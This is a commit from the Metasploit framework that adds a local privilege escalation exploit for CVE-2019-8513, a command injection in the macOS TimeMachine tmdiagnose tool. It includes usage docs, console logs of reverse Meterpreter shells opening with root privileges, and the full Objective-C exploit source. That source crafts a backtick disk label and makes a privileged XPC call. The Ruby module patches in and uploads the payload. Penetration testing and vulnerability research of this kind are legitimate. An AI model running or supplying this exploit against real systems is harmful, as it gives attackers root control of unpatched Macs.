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Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd inj…

…ection
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busterb committed Jun 29, 2019
2 parents 78967c3 + 6fd18aa commit e50ab5cd13f6196aa5b69df3f8c24675d756ec50
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## Vulnerable Application

This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers from a command injection vulnerability that can be exploited by creating a specially crafted disk label.

The tmdiagnose binary uses awk to list every mounted volume, and composes shell commands based on the volume labels. By creating a volume label with the backtick character, we can have our own binary executed with root priviledges.

## Verification Steps

1. Get a session on a vulnerable system
2. `use exploit/osx/local/timemachine_cmd_injection`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`

## Scenarios

### Mac OSX 10.14.3 (Mojave)

```
msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection
msf5 exploit(osx/local/timemachine_cmd_injection) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:5555
[*] Uploading file: '/tmp/qhjlknnmf'
[*] Executing exploit '/tmp/qhjlknnmf'
[*] Exploit result:
2019-04-18 16:18:29.190 qhjlknnmf[51122:107119] creating dmg image
2019-04-18 16:18:33.300 qhjlknnmf[51122:107119] mounting malformed disk
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] sending XPC msg
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] now wait a few minutes for the root command to run
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (808504 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:5555 -> 192.168.0.2:34270) at 2019-04-18 16:20:02 +0800
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

### MacOS 10.13.3 (High Sierra)

```
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.86.1.31:4444
[*] Uploading file: '/tmp/.xbdtqiynvb'
[*] Executing exploit '/tmp/.xbdtqiynvb'
[*] Exploit result:
2019-06-29 12:26:29.052 .xbdtqiynvb[553:3447] creating dmg image
2019-06-29 12:26:33.193 .xbdtqiynvb[553:3447] mounting malformed disk
2019-06-29 12:26:33.533 .xbdtqiynvb[553:3447] sending XPC msg
2019-06-29 12:26:33.534 .xbdtqiynvb[553:3447] now wait a few minutes for the root command to run
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (813560 bytes) to 192.168.86.1.32
[*] Meterpreter session 3 opened (192.168.86.1.31:4444 -> 192.168.86.1.32:55888) at 2019-06-29 05:27:24 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
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OUTPUT="./bin"
SOURCE=exp.m


.PHONY: $(OUTPUT)/test

all: $(SOURCE) prepare
clang -framework Foundation -framework DiskArbitration $(SOURCE) -o $(OUTPUT)/test

clean:
rm -rf $(OUTPUT)/*

run: all
$(OUTPUT)/test

format:
clang-format -i $(SOURCE)

prepare:
mkdir -p $(OUTPUT)

install:
mkdir -p ../../../../data/exploits/CVE-2019-8513/
cp $(OUTPUT)/test ../../../../data/exploits/CVE-2019-8513/exploit

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/*
clang -framework Foundation -framework DiskArbitration exp.m -o exp && ./exp
*/

#import <Foundation/Foundation.h>
#import <DiskArbitration/DiskArbitration.h>
#import <xpc/xpc.h>

#include <glob.h>
#include <semaphore.h>

#include <sys/mman.h>

char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
void root() {
NSLog(@"[exploit] I am Groot!");

if (!strncmp(root_payload, "CMD:", 4)) {
system(root_payload + 4);
} else {
void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
return;
}
memcpy(ptr, root_payload, sizeof(root_payload));
int (*sc)() = ptr;
sc();
}
}

#define TARGET "/tmp/1"
#define CMD "t*/1"
#define VOLUME "disk`" CMD "`\nA"
#define VOLUMEPATH "disk`t*:1`\nA"

@protocol DETimeMachineHelperProtocol
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1
replyURL:(void (^)(NSURL *))arg2;
@end

NSPipe *hdiutil(NSArray *args) {
NSPipe *pipe = [NSPipe pipe];
NSTask *task = [[NSTask alloc] init];
[task setStandardOutput:pipe];
[task setLaunchPath:@"/usr/bin/hdiutil"];
[task setArguments:args];
[task launch];
[task waitUntilExit];
return pipe;
}

void exploit() {
NSString *dir = [NSTemporaryDirectory()
stringByAppendingPathComponent:[[NSProcessInfo processInfo]
globallyUniqueString]];
NSString *dmg = [dir stringByAppendingString:@".dmg"];
NSFileManager *fileMgr = [NSFileManager defaultManager];
NSError *err = NULL;
NSString *src = [[NSBundle mainBundle] executablePath];
[fileMgr removeItemAtPath:@TARGET error:nil];
[fileMgr copyItemAtPath:src toPath:@TARGET error:&err];
if (err)
NSLog(@"warning, failed to copy: %@", err);

[fileMgr createDirectoryAtPath:dir
withIntermediateDirectories:YES
attributes:nil
error:&err];

NSLog(@"creating dmg image");
hdiutil(@[
@"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir,
@"-size", @"840k", @"-format", @"UDRW", dmg
]);

NSLog(@"mounting malformed disk");
NSPipe *pipe = hdiutil(@[ @"attach", dmg ]);
NSString *mounted = [[NSString alloc]
initWithData:[[pipe fileHandleForReading] readDataToEndOfFile]
encoding:NSUTF8StringEncoding];

NSLog(@"sending XPC msg");
NSXPCConnection *connection = [[NSXPCConnection alloc]
initWithMachServiceName:
@"com.apple.diagnosticextensions.osx.timemachine.helper"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)];
[connection resume];
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
// it doesn't matter
NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir];
[connection.remoteObjectProxy
runDiagnosticWithDestinationDir:randomURL
replyURL:^(NSURL *url) {
NSLog(@"done");
dispatch_semaphore_signal(semaphore);
}];
NSLog(@"now wait a few minutes for the root command to run");
if (fork()) {
return;
}

dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}

void cleanup() {
// eject malformed images
NSArray *mountedRemovableMedia = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:nil options:NSVolumeEnumerationSkipHiddenVolumes];
NSMutableArray *result = [NSMutableArray array];
DASessionRef session = DASessionCreate(NULL);
if (session) {
for (NSURL *volURL in mountedRemovableMedia) {
DADiskRef disk = DADiskCreateFromVolumePath(NULL, session, (CFURLRef)volURL);
if (disk) {
NSString* filePath = [volURL path];
if ([filePath rangeOfString:@VOLUMEPATH].location != NSNotFound) {
DADiskUnmount(disk, kDADiskUnmountOptionDefault, NULL, NULL);
DADiskEject(disk, kDADiskEjectOptionDefault, NULL, NULL);
}
CFRelease(disk);
}
}
CFRelease(session);
}

system("killall -9 tmdiagnose");
}

int main(int argc, const char *argv[]) {
@autoreleasepool {
if (geteuid()) {
exploit();
} else {
cleanup();
root();
}
}
return 0;
}
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
'Description' => %q{
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
from a command injection vulnerability that can be exploited by creating a
specially crafted disk label.
The tmdiagnose binary uses awk to list every mounted volume, and composes
shell commands based on the volume labels. By creating a volume label with the
backtick character, we can have our own binary executed with root priviledges.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8513'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
if target['Arch'] == ARCH_X64
root_cmd = payload.encoded
else
root_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
root_cmd = "echo \"#{root_cmd}\" | python"
end
root_cmd = "CMD:#{root_cmd}"
end
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end

placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end

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